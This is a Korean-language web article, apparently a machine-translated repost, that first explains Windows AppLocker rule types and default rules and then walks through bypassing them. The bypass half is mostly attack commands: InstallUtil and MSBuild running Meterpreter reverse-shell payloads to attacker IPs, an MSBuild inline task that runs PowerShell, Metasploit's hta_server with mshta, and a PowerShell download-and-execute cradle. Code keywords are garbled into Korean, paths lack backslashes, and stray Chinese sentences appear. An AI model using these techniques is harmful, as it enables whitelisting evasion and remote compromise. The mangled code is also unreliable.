>  기사  >  운영 및 유지보수  >  AppLocker 우회 분석을 수행하는 방법

AppLocker 우회 분석을 수행하는 방법

WBOY
WBOY앞으로
2023-05-15 10:55:191054검색

머리말

applocker란 무엇입니까<br>

AppLocker, 즉 "응용 프로그램 제어 정책"은 Windows 7 시스템에 새로 추가된 보안 기능입니다. 이 기능은 win7 이상의 시스템에 기본적으로 통합되어 있습니다. 서비스에서 애플리케이션 ID를 활성화한 다음 로컬 보안 정책의 애플리케이션 제어 정책에서 Applocker 옵션을 찾을 수 있습니다.

applocker 규칙<br>

기본 Applocker 규칙은 다음 유형을 지원합니다.

규칙** | 관련 파일 형식 ---|--- 실행 파일 .ps1, .bat, .cmd , .vbs, .js Windows 설치 프로그램 파일 | .msi, .msp, .mst 패키지 응용 프로그램 및 패키지 응용 프로그램 설치 프로그램 | .appx DLL 파일 | .dll, .ocx

.appx 모든 applocker가 존재하는 것은 아닙니다. win10에서는 applocker 규칙을 생성한 후 해당 .applocker 파일이 C:WindowsSystem32AppLocker에 생성됩니다.

applocker 규칙 조건 <br>

규칙 조건은 AppLocker가 규칙을 적용해야 하는 앱을 식별하는 데 사용되는 기준입니다. 세 가지 주요 규칙 조건은 게시자, 경로 및 파일 해시입니다.

  • Publisher: 디지털 서명을 기반으로 앱을 식별합니다. <br>

  • Path: 컴퓨터의 파일 시스템이나 네트워크에서 앱의 위치로 식별합니다. <br>

  • 파일 해시: 식별된 파일 시스템을 나타냅니다. 계산된 암호화 해시 <br>

AppLocker 우회 분석을 수행하는 방법

AppLocker 기본 규칙 <br>

applocker 규칙을 생성한 후 시스템은 기본적으로 아래 그림과 같이 기본 규칙을 추가할지 여부를 묻습니다.

AppLocker 우회 분석을 수행하는 방법

각 규칙에 해당하는 기본 규칙은 다음과 같습니다.

실행 가능한 기본 규칙 유형은 다음과 같습니다.

  • 로컬 관리자 그룹의 구성원이 모든 응용 프로그램을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Windows 폴더에서 앱을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Program Files 폴더에서 앱을 실행할 수 있도록 허용합니다. <br>

스크립트 기본 규칙 유형은 다음과 같습니다.

  • 로컬 관리자 그룹의 구성원이 모든 스크립트를 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Program Files 폴더에서 스크립트를 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Windows 폴더에서 스크립트를 실행할 수 있도록 허용합니다. <br>

Windows Installer 기본 규칙 유형은 다음과 같습니다.

  • 로컬 관리자 그룹의 구성원이 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 디지털 서명된 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 WindowsInstaller 폴더에 있는 모든 Windows Installer 파일을 실행할 수 있도록 허용합니다. <br>

DLL 기본 규칙 유형:

  • 로컬 관리자 그룹의 구성원이 모든 DLL을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Program Files 폴더에서 DLL을 실행할 수 있도록 허용합니다. <br>

  • Everyone 그룹의 구성원이 Windows 폴더에서 DLL을 실행할 수 있도록 허용합니다. <br>

래핑된 앱 기본 규칙 유형:

  • Everyone 그룹의 구성원이 모든 서명된 래핑된 앱과 래핑된 앱 설치 프로그램을 설치하고 실행할 수 있도록 허용 <br>

AppLocker 규칙 동작 <br>

규칙은 사용으로 구성 가능 허용 또는 거부 작업:

  • 허용. 환경에서 실행할 수 있는 파일과 사용자 또는 사용자 그룹을 지정할 수 있습니다. 규칙에서 제외할 파일을 식별하도록 예외를 구성할 수도 있습니다. <br>

  • 거부되었습니다. 사용자 환경에서 실행이 허용되지 않는 파일과 해당 파일의 대상 사용자 또는 그룹을 지정할 수 있습니다. 규칙에서 제외할 파일을 식별하도록 예외를 구성할 수도 있습니다. <br>

AppLocker 우회 분석을 수행하는 방법

applocker 규칙 만들기 <br>

이제까지 말했지만 데스크톱에서 exe 파일 실행을 금지하는 규칙을 예로 들어 규칙을 만들어 보겠습니다. 생성은 대략 다음과 같습니다:

AppLocker 우회 분석을 수행하는 방법

exe 테스트 실행:

AppLocker 우회 분석을 수행하는 방법

시스템이 실행을 방해합니다

bypass Applocker<br>

Installutil.exe<br>

InstallUtil은 .NET Framework의 일부이며 사용자가 명령 프롬프트를 통해 애플리케이션을 빠르게 설치하고 제거할 수 있는 명령줄 프로그램입니다. 이 유틸리티는 Microsoft 서명 바이너리이므로 AppLocker 제한을 우회하여 .NET 실행 파일을 실행하는 데 사용할 수 있습니다. 이 유틸리티는 Windows 폴더 내부에도 있으며, 시스템이 제대로 작동하려면 Windows 폴더의 내용을 실행해야 하므로 AppLocker 정책이 적용되지 않습니다.

먼저 WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)을 사용하여 템플릿을 생성합니다

<br>
<br>

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

AppLocker 우회 분석을 수행하는 방법

위 명령은 Metasploit ShellCode를 포함하는 C# 템플릿을 생성합니다.

생성된 파일을 타겟에 넣고 다음 방법으로 실행합니다:

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

물론이죠. 먼저 msf를 사용하여 csharp 페이로드를 생성한 다음 템플릿의 쉘코드를 교체하고 cs 파일을 대상 컴퓨터로 전송할 수 있습니다.

그런 다음 csc로 스크립트를 컴파일합니다.

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

AppLocker 우회 분석을 수행하는 방법

이제 파일을 실행하려고 합니다.

AppLocker 우회 분석을 수행하는 방법

규칙에 가로채면

<br>
<br>

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Bypass

AppLocker 우회 분석을 수행하는 방법

msf가 온라인에 성공적으로 연결되었습니다

AppLocker 우회 분석을 수행하는 방법를 사용합니다.

msf에 InstallUtil.exe를 사용하는 applocker용 우회 모듈도 있습니다.

<br>
<br>

exploit/windows/local/applocker_bypass

원칙은 동일합니다

AppLocker 우회 분석을 수행하는 방법

공통 경로 사용:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>

Msbuild.exe<br>

MSBuild.exe( Microsoft Build Engine)은 Visual Studio에서 사용하는 소프트웨어 구축 플랫폼입니다. 다양한 플랫폼 및 구성에 대한 빌드 요구 사항을 정의하는 XML 형식의 프로젝트 파일이 필요합니다. (인용: MSDN MSBuild)

MSBuild를 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 코드 실행을 프록시할 수 있습니다. .NET 버전 4에 도입된 MSBuild 인라인 작업 기능을 사용하면 C# 코드를 XML 프로젝트 파일에 삽입할 수 있습니다. 인라인 작업 MSBuild는 인라인 작업을 컴파일하고 실행합니다. MSBuild.exe는 서명된 Microsoft 바이너리이므로 이러한 방식으로 사용하면 임의 코드를 실행하고 MSBuild.exe 실행을 허용하도록 구성된 애플리케이션 허용 목록 보호를 우회할 수 있습니다.

여기에서 GreatSCT를 사용하여 xml 파일을 생성할 수 있습니다.

<br>
<br>

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t 우회 -p msbuild/meterpreter/rev_tcp.py

AppLocker 우회 분석을 수행하는 방법

그러면 rc 파일이 생성됩니다. msfconsole -r을 사용할 수 있습니다. msf

를 직접 시작한 다음 msbuild를 사용하여 실행합니다.

AppLocker 우회 분석을 수행하는 방법

msf 온라인:

AppLocker 우회 분석을 수행하는 방법

물론 msf를 사용하여 C# 쉘코드를 생성한 다음 Sanhao 학생 마스터의 템플릿을 사용하여 로드할 수도 있습니다. :

https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

접미사 이름이 .csproj

로 변경된다는 점에 유의하세요. 셸을 리바운드하는 것 외에도 우리는 Powershell의 제한 사항을 우회하는 데에도 사용할 수 있습니다.

AppLocker 우회 분석을 수행하는 방법

코드는 다음과 같습니다.

<br>
<br>

               대상>              ");                        문자열 x = Console.ReadLine();                        노력하다                        {                            Console.WriteLine(RunPSCommand(x));                        }                        잡기 (예외 e)                        {                            Console.WriteLine(e.Message);                        }                    }                                사실을 반환;                }               //Jared Atkinson과 Justin Warner의 작업을 기반으로 함                공개 정적 문자열 RunPSCommand(문자열 cmd)                {                    //초기화 항목                    Runspace runspace = RunspaceFactory.CreateRunspace();                    실행공간.Open();                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);                    파이프라인 파이프라인 = runspace.CreatePipeline();                    //명령 추가                    파이프라인.Commands.AddScript(cmd);                    //문자열 출력을 위해 PS를 준비하고 호출합니다.                    파이프라인.Commands.Add("Out-String");                    컬렉션 결과 = 파이프라인.Invoke();                    실행공간.닫기();                    //레코드를 문자열로 변환                    StringBuilder stringBuilder = 새로운 StringBuilder();                    foreach(결과의 PSObject obj)                    {                        stringBuilder.Append(obj);                    }                    stringBuilder.ToString().Trim()을 반환합니다.                 }                 공개 정적 무효 RunPSFile(문자열 스크립트)                {                    파워셸 ps = 파워셸.Create();                    ps.AddScript(script).Invoke();                }            }        ]]>  코드>작업>   프로젝트>

원래 위치: https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

AppLocker 우회 분석을 수행하는 방법

成功绕过对powershell의 限機。

다운로드:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe<br>

  • C :WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe<br>

  • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe<br>

Mshta.exe<br> ㅋㅋㅋ成在环境变weight中。

使用Mshta의 방법 더 많은 것들이 msf의 Exploit/windows/misc/hta_server를 사용하고 있습니다.

<br>
<br>

exploit/windows/misc/hta_server를 사용하세요 msf 익스플로잇(windows/misc/hta_server) > srvhost 192.168.1.109 설정 msf 익스플로잇(windows/misc/hta_server) > Exploit

AppLocker 우회 분석을 수행하는 방법目标机执行:

<br>
<br>

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

即可上线。

除了这种방법hta还可以使사용cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

<br>
<br>

mshta.exe javascript:a=GetObject( "스크립트:https:/ /gist.github.com/someone/something.sct").Exec();close();

除了以上的 方式,mshta可以사용용来执行powershell:

<br>
errree

<script>Set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell -nop -exec 우회 -c IEX(New-Object Net.WebClient).DownloadString('http://ip:port/')" </스크립트> <BODY> </script>

위 내용은 AppLocker 우회 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제